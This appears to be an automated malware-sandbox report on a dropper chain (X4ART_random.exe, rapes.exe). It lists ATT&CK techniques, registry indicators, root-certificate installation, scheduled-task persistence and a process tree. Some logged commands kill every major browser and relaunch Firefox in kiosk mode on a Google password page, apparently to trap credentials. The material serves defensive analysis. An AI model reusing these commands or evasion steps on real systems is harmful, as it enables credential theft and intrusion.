Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	05c9c5976d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaservice_service.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaservice_update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplugin_platform.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatformw.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	05c9c5976d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplugin_update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaservice_service.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatform_platform.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatform_platform.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2169777ade.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaupdaterw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaruntime_service.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaservice_service.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	910d28d4d6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplugin_platform.exe

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3264	timeout.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	237	Go-http-client/1.1

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
3936	taskkill.exe
4548	taskkill.exe
2028	taskkill.exe
980	taskkill.exe
6068	taskkill.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
5296	reg.exe
5728	reg.exe
4992	reg.exe

Modifies system certificate store 2 TTPs 3 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	YMauSAr.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	YMauSAr.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	YMauSAr.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4484	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2496	X4ART_random.exe
2496	X4ART_random.exe
3732	rapes.exe
3732	rapes.exe
3520	MSBuild.exe
3520	MSBuild.exe
3520	MSBuild.exe
3520	MSBuild.exe
1704	MSBuild.exe
1704	MSBuild.exe
1704	MSBuild.exe
1704	MSBuild.exe
1396	df9d571107.exe
1396	df9d571107.exe
1396	df9d571107.exe
1396	df9d571107.exe
1396	df9d571107.exe
1396	df9d571107.exe
5844	rapes.exe
5844	rapes.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
1280	2169777ade.exe
1280	2169777ade.exe
1280	2169777ade.exe
1280	2169777ade.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
2900	TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE
2900	TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE
3232	a2369d1045.exe
3232	a2369d1045.exe
3232	a2369d1045.exe
3232	a2369d1045.exe
3232	a2369d1045.exe
3232	a2369d1045.exe
3136	29f4b3c038.exe
3136	29f4b3c038.exe
4084	rapes.exe
4084	rapes.exe
5124	powershell.exe
5124	powershell.exe
5124	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
3016	9sWdA2p.exe
3016	9sWdA2p.exe
1100	qhjMWht.exe
1100	qhjMWht.exe
1100	qhjMWht.exe
1100	qhjMWht.exe
1100	qhjMWht.exe
1100	qhjMWht.exe
3016	9sWdA2p.exe
3016	9sWdA2p.exe
3016	9sWdA2p.exe
3016	9sWdA2p.exe
5796	Jordan.com
5796	Jordan.com
5796	Jordan.com

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3936	taskkill.exe
Token: SeDebugPrivilege	4548	taskkill.exe
Token: SeDebugPrivilege	2028	taskkill.exe
Token: SeDebugPrivilege	980	taskkill.exe
Token: SeDebugPrivilege	6068	taskkill.exe
Token: SeDebugPrivilege	3292	firefox.exe
Token: SeDebugPrivilege	3292	firefox.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	5124	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	5140	tasklist.exe
Token: SeDebugPrivilege	3056	tasklist.exe
Token: SeDebugPrivilege	540	ZSoeRVBe.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3704	05c9c5976d.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3704	05c9c5976d.exe
3292	firefox.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
6008	0a3ed10094.exe
6008	0a3ed10094.exe
6008	0a3ed10094.exe
5796	Jordan.com
5796	Jordan.com
5796	Jordan.com

Suspicious use of SendNotifyMessage 29 IoCs

pid	Process
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3704	05c9c5976d.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3292	firefox.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
3704	05c9c5976d.exe
6008	0a3ed10094.exe
6008	0a3ed10094.exe
6008	0a3ed10094.exe
5796	Jordan.com
5796	Jordan.com
5796	Jordan.com

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3292	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2496 wrote to memory of 3732	2496	X4ART_random.exe	91
PID 2496 wrote to memory of 3732	2496	X4ART_random.exe	91
PID 2496 wrote to memory of 3732	2496	X4ART_random.exe	91
PID 3732 wrote to memory of 3180	3732	rapes.exe	96
PID 3732 wrote to memory of 3180	3732	rapes.exe	96
PID 3180 wrote to memory of 3520	3180	VrQSuEQ.exe	98
PID 3180 wrote to memory of 3520	3180	VrQSuEQ.exe	98
PID 3180 wrote to memory of 3520	3180	VrQSuEQ.exe	98
PID 3180 wrote to memory of 3520	3180	VrQSuEQ.exe	98
PID 3180 wrote to memory of 3520	3180	VrQSuEQ.exe	98
PID 3180 wrote to memory of 3520	3180	VrQSuEQ.exe	98
PID 3180 wrote to memory of 3520	3180	VrQSuEQ.exe	98
PID 3180 wrote to memory of 3520	3180	VrQSuEQ.exe	98
PID 3180 wrote to memory of 3520	3180	VrQSuEQ.exe	98
PID 3732 wrote to memory of 1900	3732	rapes.exe	101
PID 3732 wrote to memory of 1900	3732	rapes.exe	101
PID 1900 wrote to memory of 3132	1900	58f98d6c78.exe	102
PID 1900 wrote to memory of 3132	1900	58f98d6c78.exe	102
PID 1900 wrote to memory of 3132	1900	58f98d6c78.exe	102
PID 1900 wrote to memory of 1704	1900	58f98d6c78.exe	103
PID 1900 wrote to memory of 1704	1900	58f98d6c78.exe	103
PID 1900 wrote to memory of 1704	1900	58f98d6c78.exe	103
PID 1900 wrote to memory of 1704	1900	58f98d6c78.exe	103
PID 1900 wrote to memory of 1704	1900	58f98d6c78.exe	103
PID 1900 wrote to memory of 1704	1900	58f98d6c78.exe	103
PID 1900 wrote to memory of 1704	1900	58f98d6c78.exe	103
PID 1900 wrote to memory of 1704	1900	58f98d6c78.exe	103
PID 1900 wrote to memory of 1704	1900	58f98d6c78.exe	103
PID 3732 wrote to memory of 1396	3732	rapes.exe	104
PID 3732 wrote to memory of 1396	3732	rapes.exe	104
PID 3732 wrote to memory of 1396	3732	rapes.exe	104
PID 3732 wrote to memory of 3232	3732	rapes.exe	105
PID 3732 wrote to memory of 3232	3732	rapes.exe	105
PID 3732 wrote to memory of 3704	3732	rapes.exe	107
PID 3732 wrote to memory of 3704	3732	rapes.exe	107
PID 3732 wrote to memory of 3704	3732	rapes.exe	107
PID 3704 wrote to memory of 3936	3704	05c9c5976d.exe	108
PID 3704 wrote to memory of 3936	3704	05c9c5976d.exe	108
PID 3704 wrote to memory of 3936	3704	05c9c5976d.exe	108
PID 3704 wrote to memory of 4548	3704	05c9c5976d.exe	112
PID 3704 wrote to memory of 4548	3704	05c9c5976d.exe	112
PID 3704 wrote to memory of 4548	3704	05c9c5976d.exe	112
PID 3704 wrote to memory of 2028	3704	05c9c5976d.exe	114
PID 3704 wrote to memory of 2028	3704	05c9c5976d.exe	114
PID 3704 wrote to memory of 2028	3704	05c9c5976d.exe	114
PID 3704 wrote to memory of 980	3704	05c9c5976d.exe	116
PID 3704 wrote to memory of 980	3704	05c9c5976d.exe	116
PID 3704 wrote to memory of 980	3704	05c9c5976d.exe	116
PID 3704 wrote to memory of 6068	3704	05c9c5976d.exe	118
PID 3704 wrote to memory of 6068	3704	05c9c5976d.exe	118
PID 3704 wrote to memory of 6068	3704	05c9c5976d.exe	118
PID 3704 wrote to memory of 6060	3704	05c9c5976d.exe	120
PID 3704 wrote to memory of 6060	3704	05c9c5976d.exe	120
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121
PID 6060 wrote to memory of 3292	6060	firefox.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:656
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  PID:5924

C:\Users\Admin\AppData\Local\Temp\X4ART_random.exe
"C:\Users\Admin\AppData\Local\Temp\X4ART_random.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
  "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Users\Admin\AppData\Local\Temp\10472140101\VrQSuEQ.exe
    "C:\Users\Admin\AppData\Local\Temp\10472140101\VrQSuEQ.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:3180
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3520
- - C:\Users\Admin\AppData\Local\Temp\10475100101\58f98d6c78.exe
    "C:\Users\Admin\AppData\Local\Temp\10475100101\58f98d6c78.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:3132
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1704
- - C:\Users\Admin\AppData\Local\Temp\10475110101\df9d571107.exe
    "C:\Users\Admin\AppData\Local\Temp\10475110101\df9d571107.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1396
- - C:\Users\Admin\AppData\Local\Temp\10475120101\1f7425ccce.exe
    "C:\Users\Admin\AppData\Local\Temp\10475120101\1f7425ccce.exe"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    PID:3232
- - C:\Users\Admin\AppData\Local\Temp\10475130101\05c9c5976d.exe
    "C:\Users\Admin\AppData\Local\Temp\10475130101\05c9c5976d.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:3704
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3936
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4548
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6068
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6060
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3292
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1968 -prefsLen 27099 -prefMapHandle 1972 -prefMapSize 270279 -ipcHandle 2060 -initialChannelId {dd11b6a1-b6b2-435b-87ba-3a81a7d86203} -parentPid 3292 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3292" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:5588
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2440 -prefsLen 27135 -prefMapHandle 2444 -prefMapSize 270279 -ipcHandle 2452 -initialChannelId {d6b65ce1-e0f3-4735-9424-a0041b10af94} -parentPid 3292 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3292" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:32
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3956 -prefsLen 25213 -prefMapHandle 3960 -prefMapSize 270279 -jsInitHandle 3964 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3972 -initialChannelId {59d04da6-055e-42ab-8523-bfb13efb2673} -parentPid 3292 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3292" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:5620
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4148 -prefsLen 27325 -prefMapHandle 4152 -prefMapSize 270279 -ipcHandle 4236 -initialChannelId {95039a5a-8d45-4dce-83ec-03c9f6372a44} -parentPid 3292 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3292" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:3600
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3132 -prefsLen 34824 -prefMapHandle 3056 -prefMapSize 270279 -jsInitHandle 3060 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2676 -initialChannelId {a9725f66-4d60-4293-a77a-b20450d522d5} -parentPid 3292 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3292" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:4380
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
